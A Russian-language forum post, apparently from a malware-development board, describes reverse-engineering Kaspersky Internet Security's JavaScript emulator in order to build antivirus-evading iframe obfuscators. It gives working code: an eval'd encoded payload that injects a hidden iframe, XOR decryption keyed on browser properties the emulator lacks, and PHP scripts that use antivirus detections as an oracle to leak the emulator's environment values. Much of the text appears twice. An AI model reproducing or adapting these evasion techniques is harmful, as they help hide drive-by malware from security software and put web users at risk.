Приветствую вас, уважаемые форумчане. Сегодня я хотел бы продемонстрировать свои скромные изыскания на тему реализации эмуляции HTML, которая используется в KIS при включенной на максимум эвристике. Сразу оговорюсь по поводу хайда - информация, представленная здесь, может быть использована умными людьми в качестве получения профита, и не хотелось бы, чтобы ушлые любители халявы тормозили процесс развития малвари, подгоняя при этом процесс развития АВ-индустрии.
Сподвигли меня на изыскания долгие безуспешные попытки создания такого обфускатора для ифрейма, который был бы тяжел для чтения и парсинга, занимал немного места, и при этом не палился антивирусным ПО. Единственное, с чем я не мог справиться - это антивирус дяди Жени с настройками, выкрученными на максимум. Но в итоге озарение снизошло на меня (в виде товарища Aels, который подтолкнул меня в нужном направлении, за что ему большое спасибо).
Итак, выводы, к которым я пришел:
1. в КИСе есть эмулятор javascript-кода.
2. эвристика срабатывает на сэмулированное поведение (изменения в DOM, например)
3. эмулятор создает видимость, будто код выполняется во вполне себе обычном браузере, что усложняет его детект
Когда я пришел к таким выводам, у меня появился логичный вопрос - а почему бы не залезть во внутренности этого эмулятора, да не покопаться там? Дебажить было неохота, да и вряд ли это принесло бы сколько-нибудь приемлемые по количеству затраченного времени результаты. Поэтому я пошел другим путем реверсинга.
Дело в том, что КИС детектит создание на странице из обфусцированного кода спрятанного ифрейма (с style="visibility:hidden") как HEUR
rojan.Script.Iframer. Но если функция по деобфускации возвращает вместо рабочего кода какую-нибудь галиматью - соответственно, ничего не создается, и KIS молчит.
Для примера, вот страница со скриптом, который создает невидимый фрейм:
Тут все просто. Строка вредоносного кода обработана вот этой функой:
В итоге, при попытке загрузить по сети такой файл через браузер, мы натыкаемся на кроваво-красный алерт КИСа. Тут следует немного описать (упрощенно, я уверен, что все реализовано сложнее), когда именно этот алерт выскакивает:
1. страница скачивается с удаленного ресурса в буфер
2. буфер эмулируется
3. при детекте сэмулированного кода выбрасывается алерт, при отсутствии - страница отдается в браузер и показывается пользователю
Самое смешное то, что файловый антивирус работает так же, если не точно так же. В любом случае, эмулятор в Веб-антивирусе и Файловом антивирусе используется один и тот же. Самые прозорливые, наверное, уже догадались, что эмулятор не умеет аякс. Вот пусть они и копают в эту сторону, если интересно, а мы продолжим =)
Итак, есть у нас страница с детектом. Чтобы убрать детект, нужно превратить вредоносный код в кашу. Например, проксорим каждый символ с каким-нибудь значением:
Натравливаем антивирус на файл - детекта нет. Логично. Но ведь и в браузере код не выполнится! Поэтому первой, что приходит в голову, должна быть мысль: "А что если ксорить еще и на какое-то значение, которое есть в браузере, но которого нет в эмуляторе?"
Тут мы вплотную подобрались к сути нашего изыскания. Предположим, что эмулятор не обладает некоторыми свойствами и методами DOM. Скажем, window.location.toString():
В браузере такой код выполнится (window.location.toString().charCodeAt(0) вернет 104, так как это символ "h", компенсируем ксор этим же значением, получаем на выходе нормальный код). Но, к сожалению (или к счастью?), антивирус такой код тоже детектит.
А почему бы не вытащить из КИСа всю строку локейшна? Реализовать сие довольно просто - создаем стопицот папок, в каждой стопицот файлов. Каждая папка - позиция символа в строке, каждый файл - код этого символа. На нужные файлы сработает детект антивируса, остальные останутся нетронутыми. Если непонятно, смотрим код:
config.php:
create.php:
Итак, кладем эти скрипты в произвольную директорию (у меня это C:\kis-test\), ставим на паузу антивирус (будет мешать), запускаем и ждем:
Появилась папка out. Включаем защиту, сканируем эту папку. Кис находит стопицот вредоносных файлов и удаляет их. Если не удаляет - идем в Reports и ручками отмечаем на удаление те файлы, которые он счел нужным положить в карантин. Теперь рядом с двумя скриптами кладем скрипт следующего содержания:
check.php:
Он пробегается по созданным директориям, и если не находит какого-то файла, соответствующего определенной позиции и символу (КИС же удалил такие файлы) - то выводит в консоль этот символ:
Батюшки светы, это же бубль гум! Что мы имеем - при проверке файла на ФС, для того, чтобы создать окружение web, КИС к адресу файла подставляет "http://"
Забавно, не правда ли?
Думаю, вы уже поняли, как таким образом можно исследовать эмулятор КИСа. Вот некоторые значения, которые я оттуда вытащил (красным - значение $value из config.php, зеленым - результат после выполнения check.php):
navigator.userAgent.toString()
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MRA 4.6 (build 01425); .NET CLR 2.0.40607; Gecko/20100914 Firefox/3.6.10)
(!+'\v1').toString()
true
(тут хотелось бы сказать, что это возвращает true только в ИЕ, в остальных браузерах - фолс)
("a"=="b").toString()
0
(а вот тут косяк с эмуляцией: должно быть именно false, как во всех нормальных браузерах, а также в ИЕ)
Вот, собственно, и все. Если кому-то любопытно - исследуйте другие возможности эмулятора и делитесь тут своими тестами. Надеюсь, было интересно.
Сподвигли меня на изыскания долгие безуспешные попытки создания такого обфускатора для ифрейма, который был бы тяжел для чтения и парсинга, занимал немного места, и при этом не палился антивирусным ПО. Единственное, с чем я не мог справиться - это антивирус дяди Жени с настройками, выкрученными на максимум. Но в итоге озарение снизошло на меня (в виде товарища Aels, который подтолкнул меня в нужном направлении, за что ему большое спасибо).
Итак, выводы, к которым я пришел:
1. в КИСе есть эмулятор javascript-кода.
2. эвристика срабатывает на сэмулированное поведение (изменения в DOM, например)
3. эмулятор создает видимость, будто код выполняется во вполне себе обычном браузере, что усложняет его детект
Когда я пришел к таким выводам, у меня появился логичный вопрос - а почему бы не залезть во внутренности этого эмулятора, да не покопаться там? Дебажить было неохота, да и вряд ли это принесло бы сколько-нибудь приемлемые по количеству затраченного времени результаты. Поэтому я пошел другим путем реверсинга.
Дело в том, что КИС детектит создание на странице из обфусцированного кода спрятанного ифрейма (с style="visibility:hidden") как HEUR
Для примера, вот страница со скриптом, который создает невидимый фрейм:
Код:
<html><body><h1>It works!</h1>
<p>This is the default web page for this server.</p>
<p>The web server software is running but no content has been added, yet.</p>
</body></html>
<script>
function decrypt(str_in) {
var arr_out = str_in.split('|');
for (i = 0; i < arr_out.length; i++) {
arr_out[i] = String.fromCharCode(arr_out[i])
}
return arr_out.join('')
}
str_evil = '100|111|99|117|109|101|110|116|46|119|114|105|116|101|40|39|60|105|102|114|97|109|101|32|115|114|99|61|34|104|116|116|112|58|47|47|116|101|115|116|46|99|111|109|47|34|32|115|116|121'+
'|108|101|61|34|118|105|115|105|98|105|108|105|116|121|58|104|105|100|100|101|110|34|62|60|47|105|102|114|97|109|101|62|39|41';
eval(decrypt(str_evil))
</script>
Код:
function encrypt(str_in) {
var arr_out = str_in.split('');
for (i = 0; i < arr_out.length; i++) {
arr_out[i] = arr_out[i].charCodeAt(0)
}
return arr_out.join('|')
}
1. страница скачивается с удаленного ресурса в буфер
2. буфер эмулируется
3. при детекте сэмулированного кода выбрасывается алерт, при отсутствии - страница отдается в браузер и показывается пользователю
Самое смешное то, что файловый антивирус работает так же, если не точно так же. В любом случае, эмулятор в Веб-антивирусе и Файловом антивирусе используется один и тот же. Самые прозорливые, наверное, уже догадались, что эмулятор не умеет аякс. Вот пусть они и копают в эту сторону, если интересно, а мы продолжим =)
Итак, есть у нас страница с детектом. Чтобы убрать детект, нужно превратить вредоносный код в кашу. Например, проксорим каждый символ с каким-нибудь значением:
Код:
...
function decrypt(str_in) {
var arr_out = str_in.split('|');
for (i = 0; i < arr_out.length; i++) {
arr_out[i] = String.fromCharCode(arr_out[i] ^ 100)
}
return arr_out.join('')
}
...
Тут мы вплотную подобрались к сути нашего изыскания. Предположим, что эмулятор не обладает некоторыми свойствами и методами DOM. Скажем, window.location.toString():
Код:
...
function decrypt(str_in) {
var arr_out = str_in.split('|');
for (i = 0; i < arr_out.length; i++) {
arr_out[i] = String.fromCharCode(arr_out[i] ^ 104 ^ window.location.toString().charCodeAt(0))
}
return arr_out.join('')
}...
А почему бы не вытащить из КИСа всю строку локейшна? Реализовать сие довольно просто - создаем стопицот папок, в каждой стопицот файлов. Каждая папка - позиция символа в строке, каждый файл - код этого символа. На нужные файлы сработает детект антивируса, остальные останутся нетронутыми. Если непонятно, смотрим код:
config.php:
Код:
<?php
// Value from JS that we want to know
$value = 'window.location.toString()';
// Length of returned value
$length = 70;
?>
Код:
<?php
include('config.php');
mkdir('out');
for($i=0; $i < $length; $i++){
@mkdir('out/'.$i);
for($j=32; $j < 127; $j++){
$out = <<<EOF
<html><body><h1>It works!</h1>
<p>This is the default web page for this server.</p>
<p>The web server software is running but no content has been added, yet.</p>
</body></html>
<script>
function decrypt(str_in) {
var arr_out = str_in.split('|');
for (i = 0; i < arr_out.length; i++) {
arr_out[i] = String.fromCharCode(arr_out[i] ^ $j ^ {$value}.charCodeAt($i))
}
return arr_out.join('')
}
str_evil = '100|111|99|117|109|101|110|116|46|119|114|105|116|101|40|39|60|105|102|114|97|109|101|32|115|114|99|61|34|104|116|116|112|58|47|47|116|101|115|116|46|99|111|109|47|34|32|115|116|121'+
'|108|101|61|34|118|105|115|105|98|105|108|105|116|121|58|104|105|100|100|101|110|34|62|60|47|105|102|114|97|109|101|62|39|41';
eval(decrypt(str_evil))
</script>
EOF;
file_put_contents('out/'.$i.'/'.$j, $out);
}
}
echo "Done!\n";
?>
Код:
C:\kis-test>php create.php
Done!
check.php:
Код:
<?php
include('config.php');
for($i=0; $i < $length; $i++){
for($j=32; $j < 127; $j++){
if(file_exists('out/'.$i.'/'.$j)) {
unlink('out/'.$i.'/'.$j);
} else {
printf(chr($j));
}
}
rmdir ('out/'.$i);
}
rmdir('out');
echo "\nDone!\n";
?>
Код:
C:\kis-test>php check.php
http://C:\kis-test\out\24\5
Done!
Забавно, не правда ли?
Думаю, вы уже поняли, как таким образом можно исследовать эмулятор КИСа. Вот некоторые значения, которые я оттуда вытащил (красным - значение $value из config.php, зеленым - результат после выполнения check.php):
navigator.userAgent.toString()
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MRA 4.6 (build 01425); .NET CLR 2.0.40607; Gecko/20100914 Firefox/3.6.10)
(!+'\v1').toString()
true
(тут хотелось бы сказать, что это возвращает true только в ИЕ, в остальных браузерах - фолс)
("a"=="b").toString()
0
(а вот тут косяк с эмуляцией: должно быть именно false, как во всех нормальных браузерах, а также в ИЕ)
Вот, собственно, и все. Если кому-то любопытно - исследуйте другие возможности эмулятора и делитесь тут своими тестами. Надеюсь, было интересно.